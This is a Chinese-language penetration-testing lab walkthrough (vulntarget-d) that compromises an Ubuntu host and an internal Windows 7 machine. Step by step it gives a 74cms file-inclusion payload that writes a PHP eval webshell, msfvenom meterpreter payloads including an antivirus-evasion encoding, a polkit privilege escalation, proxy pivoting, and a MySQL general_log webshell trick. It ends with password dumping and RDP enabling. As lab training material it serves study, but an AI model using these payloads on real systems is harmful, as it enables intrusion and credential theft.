部署环境
此次靶场共两个个镜像文件,接下来先给大家说一下整个环境的拓扑图以环境布置。
信息收集
扫描主机 扫描同一网段中的存活主机 发现存活主机ip地址(其他ip是我其他机器的ip地址)
192.168.1.17
扫描端口
扫描一下存活靶机的ip地址
nmap -A -p- 192.168.1.17
发现开放了80、81、3306、8888,看这架势应该是宝塔的界面,那就先访问端口看看 访问80端口发现不可
web渗透
访问81端口 在这里发现了一个骑士的cms框架界面 看到底下的版本信息,搜索一下看看这个版本有没有什么版本漏洞进行利用 直接搜索这个版本漏洞 发现实存在文件包含漏洞的,那就直接利用这个漏洞进行渗透即可 查看http://192.168.1.17:81/,通过搜集信息可知,可能存在74cms文件包含漏洞: 然后继续执行:
http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl
post执行
variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval($_POST[123123]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名=“info” 企业id="$_GET[‘id’]"/>
开始包含
http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl
post部分(注意包含的时候,要对应日期)
variable=1&tpl=data/Runtime/Logs/Home/22_03_30.log
在这里要切记 “shell.php会被被拦截,要避免!”
然后就直接上蚁剑链接就行
已经成功链接
Ubuntu提权
首先先上线MSF,生成一个木马文件,好给Ubuntu虚拟机传上
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf >0330.elf
通过蚁剑上传上去之后,赋予执行权限,运行: 同时在攻击机开启msf进行连接:
use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.1.17 run
在eval用户的Desktop目录下发现一枚flag: flag{welcome_to_vulntarget-d} 接下来就是进行提取操作了
linux提权
看下当前虚拟机的版本号
cat /etc/issue
前段时间看到了一个提权cve,适用的范围如下
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
所以对于当前的靶机来说,这个提权也是可以的
把下载好的poc通过蚁剑就直接上传上去 执行即可提权
设置代理
在反弹shell发现,当前还存在一个内网的ip地址,那就设置代理,进行设置。 添加路由
run post/multi/manage/autoroute
加代理
run auxiliary/server/socks_proxy
然后退出反弹界面 然后打开kali文件设置代理
在这使用的是默认的socks5的代理模式。
vi /etc/proxychains4.conf
内网扫描
进行主机存活扫描
auxiliary/scanner/portscan/tcp set PORTS 21,22,23,80,443,8080,3389,445 set RHOSTS 192.168.2.0/24 set threads 50 run
发现了存活主机 192.168.2.129 然后就对存活主机进行详细的端口扫描 sudo proxychains nmap -sT -Pn 192.168.2.129 -p22,23,80,139,445,1433,3306,3389,6379,8080
发现存在80/139/445/3306端口 然后直接在kali浏览器中访问80端口 在这块给大家讲一下,该如何在浏览器设置才能访问 然后设置后就可以正常访问即可 访问80端口还有3306端口 此时看到3306开放的服务是mysql。
在端口80上看不出啥东西,扫描下目录试试看:
dirsearch -u http://192.168.2.129 --proxy socks5://127.0.0.1:1080
在这里扫描到了l.php(正常的不会直接在目录下写这个的),其实这里就可以看出来,这是一个phpstudy搭建的网站了,我记得探针在最下面是有用户名密码的,也去看一下 在这里直接修改代码参数获取了数据库的用户名密码即可 访问一下phpinfo.php 在这里也发现了网站的绝对路径:
C:/phpstudy/PHPTutorial/WWW/phpinfo.php
接下来尝试访问:http://192.168.2.129/phpMyAdmin/
就直接用上面我们发现的用户名密码直接登录即可 拿到现在很明显了,直接phpmyadmin拿shell。
phpmyadmin日志getshell
账号:root 密码:root(这里也可以进行爆破,不要直接使用Brupsuite进行爆破,可以使用一些比较成熟的工具或者自己写脚本去爆破) 进来之后,开始尝试写日志拿shell 首先查看日志的状态:
SHOW VARIABLES LIKE ‘%general%’
默认是关闭的所以先将 general_log 设置为on,执行
set global general_log=on;
再看一下状态 修改log文件的名称和位置
set global general_log_file=‘C:/phpstudy/PHPTutorial/www/vulntarget.php’;
验证文件是否存在
http://192.168.2.129/vulntarget.php
写入一句话:
SELECT ‘<?php @eval($_POST["vuln"]); ?>’
最后使用蚁剑进行连接: 代理配置: 在这里得在kali安装蚁剑,具体安装方式大家也可以自己百度一下即可
执行命令,看下当前权限:
windows7提权
刚已经拿到了其中一个管理员crow的权限,但是在这里我们想拿到system权限, 在这里使用tasklist /svc来查看有哪些杀毒软件: 查到有火绒这个软件的存在: 那先做一个免杀上线msf:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ lport=1234 -f raw -o crowsec.jpg
新生成的文件和加载器通过蚁剑上传到win7中: 为什么,一直监听不到,实验了一下午也没有得出什么结果,那就直接用大佬的文章来直接弥补吧大佬文章
msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
smsf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 1234 yes The listen port
RHOST 10.0.20.136 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.0.20.136:1234
[*] Sending stage (175174 bytes) to 10.0.20.136
[*] Meterpreter session 2 opened (10.0.20.132:53280 -> 10.0.20.136:1234 via sessio
提权测试:getsystem 提权成功
抓密码
在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果你生成的木马是64位的,就没有这个问题) getpid和ps查看一下进程: 那在这里将进程迁移到x64位上去:
migrate 504
注意迁移的时候,要迁移到system的user上。 再次执行命令,即可获取明文密码。 得到用户名:crow 密码:admin
3389远程连接
run post/windows/manage/enable_rdp
配置代理之后,连接即可。 这样就算是整个的靶场过程了,有什么问题大家也可以相互探讨一下~
|